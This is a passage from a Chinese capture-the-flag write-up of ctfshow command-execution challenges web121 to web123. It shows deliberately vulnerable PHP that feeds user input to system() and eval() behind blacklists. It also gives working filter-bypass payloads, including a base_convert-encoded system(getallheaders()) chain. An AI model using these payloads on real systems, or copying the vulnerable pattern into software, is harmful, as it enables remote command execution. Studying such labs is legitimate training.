echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>
1
这回过滤了很多,其实我们上把的payload主要是禁了1也就是SHLVL,所以我们想办法弄出1来,刚好有一个${?}如果没有输出错误,他就会返回0这个值,所以对0这值进行计数就是1即为${#?}=1

payload

1
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

web122

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

这回#号被过滤了,也就是不能计数了,但是可以继续利用$?的机制,如果前面的一个语句报错,就会输出一次1,由于HOME放出来了,所以就改HOME获取/

1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

由于概率不是很高,建议用BURP直接跑包。

image-20210815144353097

image-20210815144523688

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

get传参C,过滤了空格等一些符号,只能利用白名单里面的函数来构造字母来进行命令执行,并且长度不能大于80,按照提示的数学函数进行使用,这么多白名单也注定了有多种payload

image-20210815155027085

image-20210815155044208

我们利用

1
2
system(getallheaders(){1})
通过更改1对应的header值,来控制输出

image-20210815155156652

我写了个php,执行以下了解下过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/*
# -*- coding: utf-8 -*-
# @Author: GuYing
# @Date: 2021/8/15
*/
$pi="base_convert";
$a="system";
$b="getallheaders";
$c=$pi($a,36,10);
$d=$pi($b,30,10);
echo $pi($c,10,36).":".$c."<br/>";
echo $pi($d,10,30).":".$d."<br/>";

echo "<br/>通过更改headers中1对应的值来控制shell命令输出:<br/>";
echo $pi($c,10,36)($pi($d,10,30)(){1});
$payload="payload:<br/>".'$pi=base_convert;$pi'."($c,10,36)".'($pi'."($d,10,30)(){1})";
echo "<br/>".$payload;
?>

image-20210815160232455

直接将payload复制到靶场看看

1
2
payload:
$pi=base_convert;$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})

image-20210815160521953

本文标题:【ctfshow】web篇-命令执行 wp

文章作者:孤桜懶契

发布时间:2021年08月09日 - 07:16:28

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/93.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------